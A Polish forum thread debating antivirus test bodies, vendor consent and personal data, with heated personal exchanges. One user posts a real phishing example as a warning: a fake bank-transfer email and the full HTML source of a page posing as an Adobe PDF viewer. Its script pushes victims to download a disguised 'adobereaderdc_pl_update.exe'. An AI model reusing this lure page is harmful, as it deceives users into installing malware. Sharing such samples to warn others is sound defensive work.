A już myślałem inaczej.
Pytasz się swojego telefonu o zgodę, czy możesz go przetestować? 
Faktycznie jesteś bystry. Zapytaj swojego szefa czy możesz przetestować jego poczucie humoru upubliczniając jego dane osobowe.
Konkretnie który artykuł i w jakim kodeksie zabrania mi przetestowania i napisania recenzji Pana Tadeusza na blogu? Czy może mam zatrudnić biegłego nekromantę w celu uzyskania pisemnej zgody właściciela, z pieczęcią za zgodność dyplomowanego egzorcysty?
A co jest danymi osobowymi dyrektora i co to ma do marki handlowej programu antywirusowego? ( Nie wiem nawet, czy w przypadku testu nie moglibyśmy mówić o działalności edukacyjnej, a tam w ustawie o prawie autorskim masz możliwość wykorzystywać elementy innych utworów nawet bez pytania o zgodę)
Masz prawo testować dowolny produkt i napisać dowolną recenzję, a jeżeli napiszesz coś, co firma uzna za nieprawdziwe, czyli zwykle negatywny wynik da test, to może Cię pozwać. Ale nie za testowanie, a za naruszenie dobrego imienia, czy coś podobnego.
Tu jest właśnie problem i z niego wynika między innymi niska wartość testów, o patologii typu „produkt/kasa za recenzję”, co też się zdarza, nie wspomnę już.
Przeczytaj teraz uważnie.
AV-Comparatives działa na terenie Austrii i obowiązują ją tamtejsze przepisy. Testy wykonuje na produktach firm jeszcze innych krajów więc jeśli pisze że
„The following vendors participated in the Advanced Threat Protection Test. These are the vendors who were confident enough in the protection capabilities of their products against targeted attacks to take part in this public test. All other vendors in the Consumer Main-Test Series opted out of the test. ” to znaczy że widocznie jest tam taki wymóg i producent oprogramowania widocznie mógł nie wyrazić zgody na test.
Jeśli znasz tamtejsze przepisy to wyprowadż mnie z błędu.
Podałem ci link do ich kontaktowej strony gdzie pisząc do nich możesz zasięgnąć dokładnych informacji zamiast teoretyzować tu.
Co do danych osobowych w Polsce to to nie tylko imię i nazwisko.
Co do tego sformułowania mogę tylko napisać.
Możesz nie uznawać rzetelności testów tworzonych przez tego rodzaju niezależne organizacje. Ważne ze producenci traktuja je powaznie a opinie pana Nikt interesują tylko mu podobnych ponieważ nie maja żadnego znaczenia w realnym świecie.
Ja bym tu jednak radził, żeby flagować (jako spam) posty kolegi Yakiiego, zamiast wdawać się z nim w tasiemcowe debaty klasy NeverEndingStory
Można dodawać użytkowników do ignorowanych w opcjach.
Wiemy
ps. Skoro wiemy i niedodajemy to co to może oznaczać?
To dodawajmy! 
A propos „testy a rzeczywistość”…
Przykład z życia wzięty
28.07.2021 e-mail
" Dzień dobry,
w wyniku pomyłki na Państwa konto został wysłany przelew. Proszę o jak najszybszy zwrot na konto z którego przyszedł.
Załączam potwierdzenie przelewu."
itd. itp.
W treści e-maila, link do pobrania pliku .pdf z rzekomym potwierdzeniem
(część nazwy zamieniona na xxx aby ktoś nie narobił sobie kłopotu)
https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/pko_trans_details_xxxxxxxxx.pdf
Plik ma poniższą zawartość
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/css/main.css">
<title>pko_trans_details_20210726_13357.pdf</title>
</head>
<body>
<div class="secondBar">
<div class="vLine2" style=" margin-right: 7px;"></div>
<img class="smallImg" src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/print.png">
<img class="smallImg" src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/user.png">
<div class="vLine"></div>
<img class="smallImg" src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/web.png" style="margin-left: 10px;">
<div class="vLine2"></div>
<img class="smallImg" src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/arrowD.png">
<img class="smallImg" src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/arrowU.png">
<img src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/num1.png">
<div class="vLine2"></div>
<img class="smallImg" src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/minus.png">
<img class="smallImg" src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/plus.png">
<img src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/100.png">
<div class="vLine2"></div>
<img src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/find.png">
</div>
<div class="mainContainer">
<div class="middleCont">
<div class="leftCont">
<div class="imgContainer">
<img src="https://dokument-w-chmurze.com/aa8537794015b620ce6786ef9793b22f/img/adobeLogo.png">
</div>
</div>
<div class="rightItems">
<div id="hiddenMain" style="opacity: 0;">
<div class="hiddenContents" onclick="downloadFile();">
<h2 class="errorMsg">Błąd wczytywania!</h2>
<p class="smallPara">Wystąpił błąd.<br/> Twoja wtyczka jest nieaktualna, pobierz i zainstaluj aktualizację.</p>
<button class="downloadBtn" onclick="downloadFile();">Pobierz aktualizację</button>
</div>
</div>
<div class="loaderCont" id="theLoading2">
<div class="progress">
<div class="color"></div>
</div>
</div>
<p class="textLoad" id="theLoading1">Wczytywanie dokumentu...</p>
<p class="smallTexts">Copyright 1984-2021 Adobe Systems Incorporated i jej licencjodawcy. Wszelkie prawa zastrzeżone.<br/><br/></p>
<p class="smallText2">Adobe, logo Adobe, Acrobat, logo Adobe PDF i Reader są zastrzeżonymi znakami towarowymi lub znakami towarowymi firmy Adobe Systems Incorporated w Stanach Zjednoczonych i/lub w innych krajach.</p>
</div>
</div>
</div>
<script>
const elem = document.querySelector(".progress .color");
elem.addEventListener("animationend", () => {
document.getElementById("theLoading1").style.opacity = 0;
document.getElementById("theLoading2").style.display = 'none';
document.getElementById("hiddenMain").style.opacity = 1;
});
const downloadFile = () =>{
window.location.href = "https://xxx-cms.s3-ap-southeast-1.amazonaws.com/xxx/adobereaderdc_pl_update.exe";
}
</script>
</body>
</html>
(część nazwy zamieniona na xxx aby ktoś nie narobił sobie kłopotu)
Po kliknięciu na link pojawia się komunikat jak niżej
Po kliknięciu Pobierz aktualizację, następuje pobranie pliku z „niespodzianką” , o nazwie adobereaderdc_pl_update.exe
Jaki może być ciąg dalszy… wiadomy.
Dzień dzisiejszy 27.08.2021
Prosty test - szybkie skanowanie adresów url przez virustotal.com
Wynik skanowania pliku .pdf
Wynik skanowania pliku .exe
2 polubienia
Nie muszę. Jego dane widnieją w KRS i są publicznie dostępne. Datę urodzin, ukończoną szkołę i miejsce pracy sam podał na Facebooku (razem z setką zdjęć i listą znajomych).
No więc właśnie o tym mówię ^^
A niektórzy są zdania, że jeżeli jeden AV z tej listy zachowuje się tak tylko w 8/10, a nie 9/10 przypadków, to jest lepszy na skalę uzasadniającą użycie i zaawansowane testy 
Zgłoszone do testu oprogramowanie uważam za … podłe. Kaspersky jako tako, działa, od biedy.
Goły, świeży system, ewentualnie podstawowe darmowe oprogramowanie typu, LO, Chrome. Dobry AV, a nie dziurawe syfy, które więcej szkodzą niż pomagają w rodzaju Avasta czy AVG.
Tylko ci się odważyli na ten test. Reszta wymiękła w tym Microsoft.
Co kto sam upubliczni to jego sprawa.
Tak jak pisałem wcześniej - i nie jest to zdanie w opozycji do Twojego - jeśli mamy do wyboru żaden AV, a jakiś darmowy AV, to uważam, że lepiej mieć AV, niż nie mieć. Zwłaszcza dla kogoś, kto naprawdę się „nie zna”. Nie wykryje wszystkiego, zwłaszcza świeżynek, ale na całą resztę będzie skuteczny. A to już coś.
Jeśli mowa o Windows 10, to tu najlepszym „darmowym” AV jest ten wbudowany w system, czyli Defender.
A jeśli nie ograniczymy się do działań nie inwestycyjnych , to ja osobiście preferuję ESET (i takiego mam).
1 polubienie
Żeby pisać cokolwiek o testach wypadało by najpierw zapoznać się choćby pobieżnie z metodologia testów dynamicznychi o tym jak sa postrzegane. Nie przez ciebie bo ty nic nie znaczysz.
"The Real-World Protection test is a joint project of AV-Comparatives and the University of Innsbruck’s Faculty of Computer Science and Quality Engineering. It is partially funded by the Republic of Austria.
The methodology of our Real-World Protection Test has received the following awards and certifications, including:
- Constantinus Award – given by the Austrian government
- Cluster Award – given by the Standortagentur Tirol – Tyrolean government
- eAward – given by report.at (Magazine for Computer Science) and the Office of the Federal Chancellor
- Innovationspreis IT – “Best Of” – given by Initiative Mittelstand Germany"
just trust the science, bro
oraz
twoje cytaty są złe, to moje, mądre cytaty są dobre
Bezsprzecznie jest to /10 w kwestii wnioskowania. Podczas gdy dalej próbujesz przekonać mnie do jakości mierzenia czegoś, czego mierzyć z definicji nie ma sensu.
Niezależnie od tego, w jak dokładny i zaawansowany sposób coś sprawdzają, pozostają Amolem cyberbezpieczeństwa, wymagają podejścia holistycznego i nie chronią przed nowymi zagrozeniami
Nie nie, rozumiem. Jestem podobnego zdania. Nie jestem zwolennikiem usuwania antywirusa, twierdzę po prostu ze nie ma powodu aptekarsko ważyć ich skuteczności